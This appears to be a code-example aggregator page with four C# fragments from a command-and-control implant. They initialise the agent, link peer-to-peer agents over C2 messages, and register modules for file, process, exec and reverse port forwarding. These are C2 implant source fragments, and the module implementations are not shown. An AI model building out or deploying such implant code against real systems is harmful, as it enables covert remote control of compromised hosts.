Пример #1
0
 public AgentController(ConfigController config, CryptoController crypto, ICommModule commModule)
 {
     AgentStatus = AgentStatus.Starting;
     Config      = config;
     Crypto      = crypto;
     CommModule  = commModule;
 }
Пример #2
0
        public void LinkAgent(string hostname, ICommModule commModule)
        {
            P2PAgents.Add(hostname, commModule);
            P2PAgents[hostname].Start();

            P2PAgents[hostname].SendData(new AgentMessage
            {
                Data = new C2Data
                {
                    Module  = "link",
                    Command = "IncomingLink",
                    Data    = Encoding.UTF8.GetBytes(Agent.AgentMetadata.AgentID)
                }
            });
        }
Пример #3
0
    private static void StartAgent(ConfigController config, ICommModule commModule)
    {
        var crypto = new CryptoController();

        commModule.Init(config, crypto);

        var agent = new AgentController(config, crypto, commModule);

        agent.Init(AgentID, ParentAgentID);

        agent.RegisterAgentModule(new CoreModule());
        agent.RegisterAgentModule(new SetModule());
        agent.RegisterAgentModule(new LinkModule());
        agent.RegisterAgentModule(new DirectoryModule());
        agent.RegisterAgentModule(new FileModule());
        agent.RegisterAgentModule(new NetModule());
        agent.RegisterAgentModule(new DrivesModule());
        agent.RegisterAgentModule(new EnvModule());
        agent.RegisterAgentModule(new ProcessModule());
        agent.RegisterAgentModule(new ExecModule());
        agent.RegisterAgentModule(new RevPortFwdModule());

        agent.Start();
    }
Пример #4
0
 public void AddP2PAgent(string hostname, ICommModule module)
 {
     module.Init(Config, Crypto);
     P2P.LinkAgent(hostname, module);
 }